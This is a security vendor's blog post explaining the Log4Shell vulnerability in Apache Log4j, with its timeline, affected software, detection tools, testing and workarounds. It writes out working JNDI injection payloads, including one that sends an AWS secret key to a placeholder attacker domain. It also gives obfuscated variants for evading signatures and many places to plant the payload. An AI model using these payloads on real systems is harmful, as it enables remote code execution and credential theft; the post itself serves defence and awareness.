Patrowl
← Back to news

Blog: Log4j or Log4Shell, the javapocalypse (CVE-2021-44228 and others 😥)

Author: Vlad
Published on

Patrowl's blog - Log4j or Log4Shell

TL;DR: the year ends in beauty (or nightmare)

I recommend listening to the NoLimitSecu Podcast on the subject 😉: https://www.nolimitsecu.fr/log4shell/

maj 2022-02-08: Log4J is endless... added vulnerabilities on Log4j 1.x (CVE-2022-23302, CVE-2022-23305, CVE-2022-23307)

Patrowl's blog - Log4j or Log4Shell

maj 2022-01-07: Publication of detection rules by the ANSSI

maj 2021-12-29:

♬ Then put your little hand in mine ♬ ♫ There ain't no hill or mountain we can't climb ♫ ... Wake up campers and hearts up, don't forget your boots because it's freezing today.

You are well in the movie "Groundhog Day", you wake up and again, there is a vulnerability on Log4J 😥: code execution on version 2.17 (CVE-2021-44832) but which fortunately seems to be exploitable only in very specific cases.

maj 2021-12-23 (because yes, I took a vacation 😉): websocket, vx-underground, the 3 CVEs, virtual patching, first exploits according to Cisco and CloudFlare, MITRE ATT&CK

maj 2021-12-15 9h: version 2.16.0

maj 2021-12-14 11h: addition of a voluntarily vulnerable application

maj 2021-12-14 9h: added a site listing the impacted software/publishers and their status

What is Log4j?

For the two in the back who have been in a basement for 20 years or who are not computer scientists 😉: Java is a high level programming language (understand: simplifying the developer's life) and used for web applications, for web services, for "any" services, for your Android applications... basically it is used everywhere.

The good practice of any good developer is to log what happens, especially errors and Java offers by default the library "java.util.logging" but as this library seems too simplistic, Log4j was created: https://web.archive.org/web/20190320144728/http://java.sys-con.com/node/48541

Question One: Do you anticipate a need for any of the clever handlers that Log4j has that JUL does not have, such as the SMTPHandler, NTEventLogHandler, or any of the very convenient FileHandlers? Question Two: Do you see yourself wanting to frequently switch the format of your logging output? Will you need an easy, flexible way to do so? In other words, do you need Log4j's PatternLayout? Question Three: Do you anticipate a definite need for the ability to change complex logging configurations in your applications, after they are compiled and deployed in a production environment? Does your configuration sound something like, "Severe messages from this class get sent via e-mail to the support guy; severe messages from a subset of classes get logged to a syslog deamon on our server; warning messages from another subset of classes get logged to a file on network drive A; and then all messages from everywhere get logged to a file on network drive B"? And do you see yourself tweaking it every couple of days? If you can answer yes to any of the above questions, go with Log4j. If you answer a definite no to all of them, JUL will be more than adequate and it's conveniently already included in the SDK.

Log4j is an open source library that allows you to log what you want in your application code. It is maintained by two volunteers and in fact it is not one but "the" main library used in Java applications:

Patrowl's blog - Log4j or Log4Shell

https://github.com/search?q=%22import+org.apache.logging.log4j%22&type=code

Patrowl's blog - Log4j or Log4Shell

https://grep.app/search?q=import%20org.apache.logging.log4j

We are exactly in the situation illustrated by this humorous image:

Patrowl's blog - Log4j or Log4Shell

Where does the Log4Shell vulnerability come from?

When logging a string, log4j tries to find variables and replace them with their value. For example, a variable "${username}" would allow to retrieve the name of the current user.

Log4j supports in particular JNDI, the Java Naming and Directory Interface, which is a kind of interface allowing to retrieve the content of a variable through the network.

JNDI allows several types of access to the network: directory (LDAP), name resolution (DNS), CORBA type objects, calls to remote methods (RMI)...

In the case of JNDI, the following variable allows to retrieve a Java class through an LDAP directory request: "${jndi:ldap://ici-le-domaine-malveillant.com/exploit}"

This feature dates back to the time when Java was owned by Sun/Oracle. It should have been removed but Log4J users objected.

The problem is that JNDI can be hijacked to execute code, this was presented in 2016 at the BlackHat conference: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Patrowl's blog - Log4j or Log4Shell

If an application using Log4j receives a string containing a JNDI variable, then it will be interpreted by Log4j.

If this variable contains a link to a domain controlled by an attacker, he will be able to answer what he wants and in particular a Java class that will be executed 🤯.

Here are vulnerable JNDI features:

Patrowl's blog - Log4j or Log4Shell

Log4j 2.14 contains a vulnerability referenced as CVE-2021-44228, which allows remote code execution with a payload like: ${jndi:ldap://site-malware:389/a}

update Patch 2.15 is incomplete and, in some non-standard cases, allows remote code execution referenced as CVE-2021-45046, with a payload like: ${jndi:ldap://127.0.0.1#site-malware:389/a}

update Patch 2.16 is incomplete and allows a denial of service (DoS) referenced as CVE-2021-45105, with a payload like: ${${::-${::-$.${::-j}}}}

update Patch 2.17 is incomplete and, if the attacker can modify the configuration by adding a JDBC add-on (JDBCAppender), allows a remote code execution referenced CVE-2021-44832 😭 .

https://logging.apache.org/log4j/2.x/security.html

Fortunately, this vulnerability seems to be exploitable only if the attacker can modify the configuration of the logger, which still seems unlikely in classical configurations. On the other hand, if an attacker has access to :

  • To your git repository, in which you store your configurations, redeployed regularly
  • To the machine of one of the developers or DevOps (but well, he will have better things to do than modify log4j2.xml 😉 ) Then he'll be able to modify the logger configuration and get a code execution again.

Here is the publication of the CheckMarx employee who discovered this new vulnerability: https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

Example of configuration with "JDBCAppender" :

Patrowl's blog - Log4j or Log4Shell

Note that all Java versions seem to be vulnerable: https://twitter.com/laughing_mantis/status/1470412026119798786?s=11

update With Log4j "when there is more, there is more" and several vulnerabilities have been published on Log4j 1.x :

Discovery timeline (CVE-2021-44228)

The exact timeline is not known at the moment but some Minecraft players would have discovered this vulnerability and used it to attack other players' servers (only for the Java version of Minecraft that allows mods).

Having a vulnerability that can compromise the entire Internet and only using it to cheat at Minecraft, what a waste 😉.

update Since Cisco and CloudFlare have a very large Internet listening surface, they were able to conduct studies to look for traces of the first exploits of the vulnerability. According to them, the first exploits would date back to December 1, 2021 to deploy cryptocurrency miners: https://therecord.media/log4shell-attacks-began-two-weeks-ago-cisco-and-cloudflare-say/ . This is in itself a bit reassuring, it allows you not to have to search in your logs over the last 5 years 😉.

The exploitation of the vulnerability was discovered, then fixed in the library but without really noting that it was a security issue.

On November 12, 2021, a researcher the Alibaba Cloud security team officially reported the fix as a security flaw and everything went crazy in the days that followed with especially the publication of the first exploit codes on Thursday, December 9 and Friday, December 10.

Since then, this vulnerability has been massively exploited in the wild to... deploy cryptocurrency miners, what a mess 😉.

There are since quite a few exploits that aim to exfiltrate data or simply the environment variables of the targets which sometimes, contain secrets like on AWS EC2 instances.

Update The attackers have started to deploy takeover tools, banking malware (Dridex), Mirai type worms... You can find a good part of the malware (in the broadest sense) used by the attackers at VX-Underground: https://samples.vx-underground.org/samples/Families/Log4J%20Malware/

Here is an example of the exploit code to get out the environment variables: "${jndi:ldap://ici-le-domaine-malveillant.com/exploit/${env:AWS_SECRET_ACCESS_KEY}}"

Here is a regularly updated list of IP addresses attempting to exploit the vulnerability: https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217

You can block without too much fear these IPs (even if this list is published in too much control 😅).

CVSSv3 = 10.0 / 10.0

The CVSSv3 technical score of the vulnerability is 10.0/10.0, it's a remote Java code execution and it has the highest criticality level.

It is especially easy to trigger it either directly or indirectly.

As the vulnerability is triggered when the string to be logged is received, if a log information (a log line) is sent to a log hub using Log4j, you have the ability to execute code on this asset, even if it is not directly reachable or deep in a DMZ. That's why I would give this vulnerability more of an 11.0/10.0 😉.

Do you have an offline SIEM based on ELK or Splunk that centralizes your logs? You can get it compromised.

Who is vulnerable?

A crazy amount of applications, services, companies... are vulnerable, as Java is used everywhere and as this vulnerability can be exploited in many ways:

In addition to all these software, you can exploit the vulnerability by using a simple HTTP request on a vulnerable site or application by putting the payload in the classic headers like "Referer" or "User-Agent" or "X-Forwarder-For".

You can also exploit the vulnerability by sending a simple mail containing the exploit code in the title: https://twitter.com/xssfox/status/1469516383692091393?s=11

You can also exploit the vulnerability indirectly by placing the payload in :

  • The robots.txt file at the root of your site
  • The security.txt file at the root of your site
  • Your DNS records of type "TXT
  • Some headers of the emails you send
  • The email address of the sender of your emails because be aware that "bisous+(${jndi:ldap://ici-le-domaine-malveillant.com/exploit})@your-domain.com" is a valid email address according to RFC 822
  • The username you use to authenticate yourself on a site
  • The password you use to authenticate to a site
  • The fields of your SSL/TLS certificates
  • The name of your WiFi network because iPhone, the Instagram app... send the names of the surrounding WiFi networks (BSSID) to the editor
  • The name of your device detectable in Bluetooth
  • The metadata of your images
  • The metadata of the EXIF fields of your images
  • The metadata of your PDF, Docx, Excel files...
  • Be creative 😉

WebSocket

Modern browsers support WebSocket functionality, meaning that it is possible to open an HTTP connection from a web page with Javascript code and thus make web requests.

It seems obvious once you know it 😉 but the Log4J vulnerability is exploitable from a browser from a WebSocket. If a user of a company is browsing a malicious website, from the information system of this same company (or in VPN), then this website can legitimately ask the browser to scan the internal network (there are plenty of examples on the Internet) and try to exploit the vulnerability on reachable internal services. It's actually ultra simple, ultra obvious when you know it and... terribly effective 😞.

This method can be exploited by simply sending an email containing a malicious link.

https://www.zdnet.com/article/security-firm-blumira-discovers-major-new-log4j-attack-vector/

Detecting the presence of an operation

Detect

Florian Roth has put online a tool to search for the presence of exploitation traces, even in .gz archives: https://github.com/Neo23x0/log4shell-detector

Note that for VMWare, the directory to scan is "/storage/log/vmware/".

You launch the tool at the root of your servers and that's all:

Patrowl's blog - Log4j or Log4Shell

Otherwise, you can just do some simple searches in your logs.

The easiest way is to already detect the presence of "${" in a string but with a risk of false positives. Otherwise, you should also look for other non-obfuscable characters like " : ", " / ", " . " and " } ".

Here is a regular expression that will do the job of detection but will generate a lot of false positives, temporarily acceptable given the situation: "${.:././.}"

update ANSSI has just updated again its alert bulletin with detection rules for Suricata IDS, in a PDF with all the explanations and in a TXT file with only the rules, bravo ANSSI 🙏.

MITRE ATT&CK

If you want to reference the exploitation of this vulnerability with the ATT&CK framework identifiers, here they are:

Initial access by exploiting the vulnerability on a component exposed to the Internet -> T1190 https://attack.mitre.org/techniques/T1190/ Post-exploitation use for a lateral movement -> T1210 https://attack.mitre.org/techniques/T1210/

Signature bypass method

Because of the different possibilities of writing JNDI paths and their interpretation by Java, it is possible to easily obfuscate the exploit and here are some examples:

${jndi:dns://ici-le-domaine-malveillant.com/exploit } ${jndi:${lower:l}${lower:d}a${lower:p}://ici-le-domaine-malveillant.com/exploit ${$lower:J}${lower:n}${lower:D}i:${lower:rMi}://ici-le-domaine-malveillant.com/exploit} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://ici-the-malware-domain.com/exploit}

Here's a tweet with even more obfuscation: https://twitter.com/wugeej/status/1469982901412728832?t=gom5LhC8ClE275b46SYgNA

Testing for the presence of the vulnerability

Twitter is full of tools and PoC to test the presence of the vulnerability. Note that the vulnerability can activate hours after your tests, we had it with several customers. This is a common but still unexplained behavior: https://twitter.com/mubix/status/1470747203811651592?s=21

Nuclei

The test was integrated in Nuclei and relies on an external call to interactsh.com . It is not a very discreet thing to do, especially since the interactsh hosts will know that you are vulnerable, but at least it works:

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-44228.yaml

Burp

Here is a plugin for Burp to detect a vulnerable target: https://github.com/whwlsfb/Log4j2Scan

It uses about ten obfuscation techniques and tests many headers (user-agent, referer, x-forwarded-for, x-real-ip...)

Patrowl

Well, I'm obliged to do a little self-promotion because the control is integrated with Patrowl 😉 , so if you have Patrowl, you're safe.

Manually

You can also do it yourself and create a DNS test token at home or with https://canarytokens.org/generate#

Patrowl's blog - Log4j or Log4Shell

Copy the generated token :

Patrowl's blog - Log4j or Log4Shell

Build your payload, here: ${jndi:ldap://v4a2rv8dr3w93v6rbiuirsj45.canarytokens.com/a}

Use this payload to test your application in a "user-agent" header, in a search parameter....

⚠️⚠️⚠️

If you test the vulnerability with external services like interact.sh, interactsh.com, canarytokens.org or dnslog.cn, still be careful, you don't know who is behind these services and what they will do with the information you give them 😉. The ideal is to set up your own DNS server with a tool like DnsChef https://github.com/iphelix/dnschef to see and answer DNS queries or with the interactsh tool https://github.com/projectdiscovery/interactsh

Voluntarily vulnerable application

If you want to test your payloads, here is a vulnerable application developed for the occasion: https://github.com/leonjza/log4jpwn

What to do?

It's very complicated because the vulnerability can be found in so many places... to put it simply: it's a mess and you risk having it for days, or even weeks, especially since this vulnerability arrives in the middle of Christmas, right during your end-of-year freezes (your annual "freeze" of any modification on your infrastructures).

You have to be able to map your information system in the broadest sense by identifying all the editors in order to know if they are vulnerable as well as all your software, services, applications... in Java that could be vulnerable.

For the editors, it is necessary to follow the alert bulletins, to use the SwitHak git mentioned above and to follow the security news because it is likely to move very quickly in the next few days.

Then, you have to know if your software uses Log4j in the vulnerable versions (see ANSSI bulletin), which is not trivial. Depending on the version of Java, the version of Log4j... you will have to decide to update or to apply a workaround.

At the same time, it is important to keep looking for potential exploits of the vulnerability everywhere.

The ANSSI bulletin: https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

Correct

The best is to update with the latest version of log4j because intermediate versions are vulnerable to a denial of service or a remote code execution.

In theory it is possible to stay in 2.16.0 as it is only a denial of service, but I recommend rather to weigh the pros and cons by asking yourself this question: is it easier/quicker for me to qualify the need for this new update vs the time and difficulty to update.

If the update is a 1-click or single command update to 2000 servers, with no platform availability impact, feel free to upgrade to 2.17.1 😉.

If you have to restart hypervisors with a complete shutdown of your services for 2 hours, stay in 2.16.0 for now.

Workarounds

It is possible to set up a variable disabling name resolutions, limiting the exploitation of the vulnerability but not fixing it:

Either by modifying the command line of the software call: # java ... -Dlog4j2.formatMsgNoLookups=True ... -jar my_appli_every_month.jar Or by setting an environment variable in the .profile file of the account running the service: " export LOG4J_FORMAT_MSG_NO_LOOKUPS=true" For Docker applications, in the " Dockerfile " file, you must add " ENV LOG4J_FORMAT_MSG_NO_LOOKUPS=true ". Or in the "Dockerfile" file, at the command line level, add "CMD "java", "-Dlog4j.formatMsgNoLookups=true", "-jar", "..."". Or in the "docker-compose.yml" file, you need to add: web: environment:

  • LOG4J_FORMAT_MSG_NO_LOOKUPS=true

More details here: https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/

Virtual patching

Several companies, including AWS, offer solutions to fix the vulnerability just by restarting the service with an additional library to fix the problem in memory.

Here are three of them:

https://github.com/corretto/hotpatch-for-apache-log4j2 (AWS team) https://github.com/nccgroup/log4j-jndi-be-gonehttps://blog.fox-it.com/2021/12/14/log4j-jndi-be-gone-a-simple-mitigation-for-cve-2021-44228/ With the sentence below, the last article makes it clear that paid software with DRM embeds free software 🤦‍♂️ :

<<The benefit ... negate the vulnerability ... so long as it isn't obfuscated (e.g. with proguard), in which canse you may not be in a good position to update it anyway. >>

Partitioning

This is part of the good practices: you have to strictly filter the flows, especially outgoing ones, in order to prevent a vulnerable server from fetching an exploit code somewhere or from talking to a command and control (C2) server.

Good luck to everyone!

As I write this, Guillaume Poupard, the director of ANSSI, has just published:

<< 🚨A vulnerability has been discovered in the Apache log4j logging library. ... This vulnerability allows an attacker to cause remote arbitrary code execution if they have the ability to submit data to an application that uses the log4j library to log the event. This attack can be performed without being authenticated, for example by taking advantage of an authentication page that logs authentication errors. Proofs of concept have already been published and exploit codes are likely to be quickly developed. Details in the CERTFR-2021-ALE-022👇 alert https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/

https://www.linkedin.com/posts/guillaume-poupard-3604531b5_objet-vuln%C3%A9rabilit%C3%A9-dans-apache-log4j-activity-6875847639280234496-2mcz

Blog: CaRE program: healthcare facilities close the cybersecurity gap with Patrowl

Read the article
Subscribe to our newsletter